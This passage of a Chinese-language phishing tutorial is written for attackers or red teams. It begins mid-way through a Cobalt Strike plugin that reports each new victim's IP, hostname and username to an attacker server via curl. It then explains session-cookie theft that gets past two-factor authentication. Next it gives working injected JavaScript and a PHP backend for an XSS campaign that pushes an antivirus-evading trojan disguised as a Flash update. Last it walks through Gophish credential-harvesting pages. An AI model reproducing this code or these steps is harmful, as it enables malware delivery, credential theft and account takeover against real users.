$externalIP = replace(beacon_info($1, "external"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;
$xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;
@curl_command = @('curl', '-X', 'GET', $xssApi);
exec(@curl_command);
}
兩種:
用戶名密碼 收桿 —> gophish (會顯示操作系統和瀏覽器版本信息)(看下面實例)
CS 上線 收桿 —> cna插件配合PHP后端收桿
其他情況
雙因子驗證
idea:

Muraena、NecroBrowser工具
http://blog.itpub.net/31559985/viewspace-2647951/
原理:
大多數人所熟悉的傳統網絡釣魚攻擊是由虛假登錄頁面組成的,這些頁面在攻擊者控制的web服務器上,並由與目標網站名稱相似的自定義域名提供服務。然而,這種靜態攻擊對使用雙因素身份驗證的在線服務無效,因為沒有與合法網站進行交互來觸發生成一次性代碼。沒有這些代碼,攻擊者就無法使用釣魚憑證登錄。
為了繞過2FA,攻擊者需要讓他們的釣魚網站充當代理,代表受害者轉發請求到合法網站,並實時回傳。最終目標不僅是為了獲取用戶名和密碼,而是真正網站用來關聯登錄賬號的活動會話令牌(也被稱為會話cookie)。通過將這些會話cookie放在瀏覽器中,可以直接訪問與它們關聯的帳戶,而不需要進行身份驗證。
Muraena、NecroBrowser是如何工作的:
Muraena是用Go編程語言編寫的,這意味着它可以在任何Go可用的平台上被編譯和運行。一旦部署完成,攻擊者就可以配置他們的釣魚域名,並為其獲得合法的證書——例如,通過非營利性的Let's Encrypt證書頒發機構。
該工具包含一個充當反向代理的小型web服務器和一個爬蟲程序。該爬蟲程序可以自動確定從合法網站代理哪些資源。代理在傳遞來自受害者的請求之前重寫這些請求。
爬蟲程序會自動生成一個JSON配置文件,然后可以手動修改該文件來繞過更復雜網站上的各種防御機制。該軟件包包括對谷歌、GitHub和Dropbox的示例配置文件。
一旦受害者登陸一個由Muraena提供支持的釣魚網站,登錄過程就會和真正的網站完全一樣。網站會要求用戶輸入他們的2FA驗證碼。當他們提供驗證碼並完成身份驗證之后,代理會竊取會話cookie。
會話令牌通常由瀏覽器存儲在一個文件中,並在后續請求中提供服務。這種方法可以使網站自動向瀏覽器提供一段時間內不需要密碼登陸而(會話長度)訪問帳戶的權限。Muraena可以自動將收集到的會話cookie傳送給它的第二個組件NecroBrowser,而NecroBrowser可以立即開始濫用這些cookie。
NecroBrowser是一個可以通過API進行控制的微服務,進行配置以后可以通過在Docker容器內運行的Chromium無頭實例執行操作。根據可用的服務器資源,攻擊者可以同時生成數十個或數百個這樣的容器,每個容器都有一個從受害者那里竊取的會話cookie。
僵屍瀏覽器實例執行的操作可以完全自動化。例如,根據賬戶類型的不同,可以對電子郵件進行截屏、啟動密碼重置、將惡意密鑰上傳到GitHub或者在郵箱添加惡意轉發地址。瀏覽器實例還可以用來收集社交網絡上聯系人和朋友的信息,甚至可以通過類似蠕蟲的攻擊向這些朋友發送釣魚信息。
muraena: https://github.com/muraenateam/muraena
NecroBrowser : https://github.com/muraenateam/necrobrowser
實例
XSS+Flash釣魚
原理
在目標會訪問的網站上,利用JS精心構造頁面誘導用戶下載木馬。
條件:
1、情況一,目標網站存在存儲型XSS漏洞,構造JS讓用戶下載flash;情況二,克隆一個視頻網站,誘導受害者訪問,訪問時通過JS提示用戶下載更新flash。
2、一個免殺木馬,免殺效果一定要有,總不能落地就被殺了吧
3、購買一個迷惑性的域名,如 http://www.f1ash.cn/(這里測試,就不買了)
4、上線通知和自動收桿插件,避免一直盯着頁面,上鈎后還要卸載頁面。
參考:
flash頁: https://github.com/r00tSe7en/Fake-flash.cn
JS : https://github.com/timwhitez/Doge-XSS-Phishing
魚竿:https://github.com/TheKingOfDuck/XSS-Fishing2-CS
文章:https://xz.aliyun.com/t/7958
實現
魚鈎隱藏:
XSS:
直接在視頻網站插入這個js文件即可
<script src="/test.js"></script>
.js 需要注意下面這幾個點:
1.判斷UA,電腦端才加載exe,android則加載apk
2.向后台API發送查詢,是否上鈎了,是的話不加載,不是的話加載
3.js一定要注意混淆和命名,采用原生ajax,兼容性會更好
test..js:
var returnCitySN = {"cip": "0.0.0.0", "bobo": "000000"};
//document.write("<script src='http://pv.sohu.com/cityjson?ie=utf-8'></script>");
document.write("<script src='http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?getaddr=123'></script>");
//上線檢測
function isRise(ip,bobo) {
var xmlHttp;
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlHttp.open("GET", "http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?search="+ip, "true");
xmlHttp.send();
xmlHttp.onreadystatechange = function() {
//alert(xmlHttp.responseText)
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
var resData = xmlHttp.responseText;
if (resData == "in" && bobo == "111111") {
} else {
document.write("<script src='http://192.168.111.234/flash_phish_test/XSS-Phishing/bobo.php?bobo=1'></script>");
download();
}
}
}
}
//下載
function download(){
alert("您的FLASH版本過低,請嘗試升級后訪問該頁面!");
window.location.href="http://192.168.111.234/flash_phish_test/fake_flash/";
}
//判斷是否是PC
function isPc() {
if (navigator.userAgent.match(/(iPhone|Android)/i)) {
return false;
} else {
return true;
}
}
//load,ipbase64編碼后,傳遞給后端
window.onload = function(){
if(!isPc()){
alert("當前頁面只能在電腦PC端中加載,請稍后重試...");
}else{
isRise(returnCitySN["cip"], returnCitySN["bobo"]);
}
}
釣魚網站(flash):
這里直接下載源碼部署在本地了

修改下載路徑:

木馬:
將免殺CS馬與正常flash按照程序綁定,放在本地
這里使用自解壓的方法偽造,再使用reshacker更改一下圖標
最終效果如下:

(flash.exe+muma.exeà自解壓配置à修改圖標)
魚竿感知:
cna插件配合php后端收桿
搭建bobo.php, 路徑為http://www.xxx.com/bobo.php
<?php
$db = "botIPs.txt";
$addr = $_SERVER["REMOTE_ADDR"];
header('Access-Control-Allow-Origin: *');
header("Access-Control-Allow-Credentials: true");
if(isset($_GET['getaddr'])){
header('Content-type: text/json; charset=utf-8');
if (isset($_COOKIE['bobo'])){
echo 'var returnCitySN = {"cip": "'.$addr.'", "bobo":"111111"};';
}
else{
echo 'var returnCitySN = {"cip": "'.$addr.'", "bobo": "000000"};';
}
}
if(isset($_GET['bobo'])){
setcookie("bobo","bobo", time()+3600*240);
}
if(isset($_GET['ip'])){
$botIP = @$_GET['ip'];
$line = file_get_contents($db);
$botIPs = explode("\n", $line);
if (@in_array(base64_encode($botIP), $botIPs)) {
echo "ip exist";
}else {
$bots = fopen($db, "a") or die("Unable to open bots file!");
fwrite($bots, base64_encode($botIP) . "\n");
fclose($bots);
}
}
if(isset($_GET['search'])){
$ip = @$_GET['search'];
if (file_exists($db)) {
$line = file_get_contents($db);
$botIPs = explode("\n", $line);
if (@in_array(base64_encode($ip), $botIPs)) {
echo "in";
}else {
echo "bobo";
}
}
}
?>
在php根目錄新建botIPs.txt文件用於存儲已上線ip
使用cobalt strike 的agscript加載cna插件

./agscript [host] [port] [user] [password] [/path/to/sendip.cna]
等待上線即可
上線之后,相同IP再次訪問,不會彈框
效果演示
部署好網站。
在CS目錄運行:
./agscript [host] [port] [user] [password] [/path/to/sendip.cna]

1、訪問視頻網站提示

2、點擊確定,跳轉到flash下載界面

3、 點擊下載,會下載綁有木馬的flash安裝程序,但是用戶無感知

4、受害者運行exe,上線

Gophish+EwoMail釣魚
Gophish
安裝
下載:
wget https://github.com/gophish/gophish/releases/download/v0.11.0/gophish-v0.11.0-linux-64bit.zip
解壓:
unzip gophish-v0.11.0-linux-64bit.zip

修改config.json 中 127.0.0.1 為 0.0.0.0 。
80端口代表釣魚網站開放的端口;后台管理頁面開放的端口是3333

修改權限,運行
chmod +x gophish
./gophish
可能會提示證書不正確,依次點擊高級—繼續轉到頁面,輸入默認賬密進行登錄:admin/gophish
也有可能不是默認密碼,在vps啟動./gophish之后,會在命令行中給出一個臨時密碼,用臨時密碼登錄之后再設置新的密碼。

訪問釣魚界面:
打開瀏覽器,訪問http://ip:80/由於我們還未配置釣魚頁面,提示小段的404 page not found說明運行正常

Gophish搭建完成

功能
進入后台后,左邊的欄目即代表各個功能,分別是Dashboard儀表板、Campaigns釣魚事件、Users & Groups用戶和組、Email Templates郵件模板、Landing Pages釣魚頁面、Sending Profiles發件策略六大功能

1. User & Groups 用戶和組
Users & Groups的作用是將釣魚的目標郵箱導入gophish中准備發送
點擊New Group新建一個釣魚的目標用戶組。
Name:Name 是為當前新建的用戶組命名。
Bulk Import Users:Bulk Import Users是批量導入用戶郵箱,它通過上傳符合特定模板的CSV文件來批量導入目標用戶郵箱點擊旁邊灰色字體的Download CSV Template可以下載特定的CSV模板文件。其中,模板文件的Email是必填項,其余的Frist Name、Last Name、Position可選填。
Add:除了批量導入目標用戶的郵箱,gophish也提供了單個郵箱的導入方法,這對於開始釣魚前,釣魚組內部測試十分方便,不需要繁瑣的文件上傳,直接填寫Email即可,同樣其余的Frist Name、Last Name、Position可選填。

2、Email Templates 釣魚郵件模板
創建相應的釣魚郵件模板 此處釣魚模板可直接進行編輯,也可導入其他郵箱的模板。
Name:同樣的,這個字段是對當前新建的釣魚郵件模板進行命名。
Import Email:gophish為編輯郵件內容提供了兩種方式,
第一種就是Import Email,用戶可以先在自己的郵箱系統中設計好釣魚郵件,然后發送給自己或其他伙伴,收到設計好的郵件后,打開並選擇導出為eml文件或者顯示郵件原文,然后將內容復制到gophish的Import Email中,即可將設計好的釣魚郵件導入。
這里直接在 QQ 郵箱打開一封信,點擊顯示原文們就可以復制,導入,粘貼進去。
效果:

需要注意,在點擊Import之前需要勾選上Change Links to Point to Landing Page,該功能實現了當創建釣魚事件后,會將郵件中的超鏈接自動轉變為釣魚網站的URL。
Subject:Subject 是郵件的主題,通常為了提高郵件的真實性,需要自己去編造一個吸引人的主題。
內容編輯框:內容編輯框是編寫郵件內容的第二種模式,內容編輯框提供了Text和HTML兩種模式來編寫郵件內容,使用方式與正常的編輯器無異。其中HTML模式下的預覽功能比較常用到,在編輯好內容后,點擊預覽,就可以清晰看到郵件呈現的具體內容以及格式。
Add Tracking Image:Add Tracking Image 是在釣魚郵件末添加一個跟蹤圖像,用來跟蹤受害用戶是否打開了收到的釣魚郵件。默認情況下是勾選的,如果不勾選就無法跟蹤到受害用戶是否打開了釣魚郵件(注:跟蹤受害用戶是否點擊釣魚鏈接以及捕捉提交數據不受其影響)Add Files:Add Files 是在發送的郵件中添加附件,一是可以添加相關文件提高郵件真實性,二是可以配合免殺木馬誘導受害用戶下載並打開
當填寫完以上字段后,點擊Save Template,就能保存當前編輯好的釣魚郵件模板。
3.Landing Pages 釣魚頁面
配置好釣魚郵件后,就可以通過LandingPages模塊來新建釣魚網站頁面,此處支持手寫 html文件,也可通過導入網站功能。
Name:Name 是用於為當前新建的釣魚頁面命名。
Import Site:gophish為釣魚頁面的設計提供了兩種方式,
第一種則是Import Site,點擊Import Site后,填寫被偽造網站的URL,再點擊Import,即可通過互聯網自動抓取被偽造網站的前端代碼。
內容編輯框是編輯釣魚頁面的第二種方法,但是絕大多數情況下,它更偏向於用來輔助第一種方法,即對導入的頁面進行源碼修改以及預覽。
(重點)Capture Submitted Data:
通常,進行釣魚的目的往往是捕獲受害用戶的用戶名及密碼,因此,在點擊Save Page之前,記得一定要勾選Capture Submitted Data當勾選了Capture Submitted Data后,頁面會多出一個Capture Passwords的選項,顯然是捕獲密碼。通常,可以選擇勾選上以驗證賬號的可用性。如果僅僅是測試並統計受害用戶是否提交數據而不泄露賬號隱私,則可以不用勾選另外,當勾選了Capture Submitted Data后,頁面還會多出一個Redirect to,其作用是當受害用戶點擊提交表單后,將頁面重定向到指定的URL。可以填寫被偽造網站的URL,營造出一種受害用戶第一次填寫賬號密碼填錯的感覺(一般來說,當一個登錄頁面提交的表單數據與數據庫中不一致時,登錄頁面的URL會被添加上一個出錯參數,以提示用戶賬號或密碼出錯,所以在Redirect to中,最好填寫帶出錯參數的URL)
這里克隆DVWA登錄界面做演示

填寫好以上參數,點擊Save Page,即可保存編輯好的釣魚頁面
4、Sending Profiles 發件策略
Sending Profiles的主要作用是將用來發送釣魚郵件的郵箱配置到gophish。
點擊New Profile新建一個策略,依次來填寫各個字段。填寫剛才新建的發送郵箱地址和用戶名.
Name:Name字段是為新建的發件策略進行命名,不會影響到釣魚的實施。
Interface Type:Interface Type 是接口類型,默認為SMTP類型且不可修改,因此需要發件郵箱開啟SMTP服務,但是大部分機器 smtp 的 25 端口被禁用了,因此需要配置成 465 端口。
From:From 是發件人,即釣魚郵件所顯示的發件人。(在實際使用中,一般需要進行近似域名偽造).
Host:Host 是smtp服務器的地址,格式是smtp.example.com:25.
Username:Username 是smtp服務認證的用戶名.Password:Password 是smtp服務認證的密碼.
(可選)Email Headers:Email Headers 是自定義郵件頭字段,例如郵件頭的X-Mailer字段,若不修改此字段的值,通過gophish發出的郵件,其郵件頭的X-Mailer的值默認為gophish
正常配置應該類似這樣:

(但是這里未搭建EwoMail,也沒買域名,用QQ郵箱轉發測試)
進去QQ郵箱-》設置-》賬戶-》開啟 POP3/SMTP服務

用戶和from 都填 qq 郵箱賬號
密碼填授權碼


成功發送:

5、 Campaigns
創建任務發送釣魚郵件,可設置分批發送郵件(Launch Date)

管理頁面,可以看到成功發出2封郵件。

受害者成功收到釣魚郵件點擊鏈接打開輸入了賬號及密碼,點擊了login,之后釣魚頁面自動跳轉到真正的系統

再次刷新Gophish后台,可以看到結果:



參考
https://paper.seebug.org/1329/
https://www.freebuf.com/articles/web/227694.html
https://www.freebuf.com/articles/network/267251.html
https://www.freebuf.com/articles/web/258184.html
https://www.freebuf.com/articles/web/263612.html
https://www.freebuf.com/articles/web/260391.html
https://www.freebuf.com/articles/network/276463.html
https://www.anquanke.com/post/id/231444
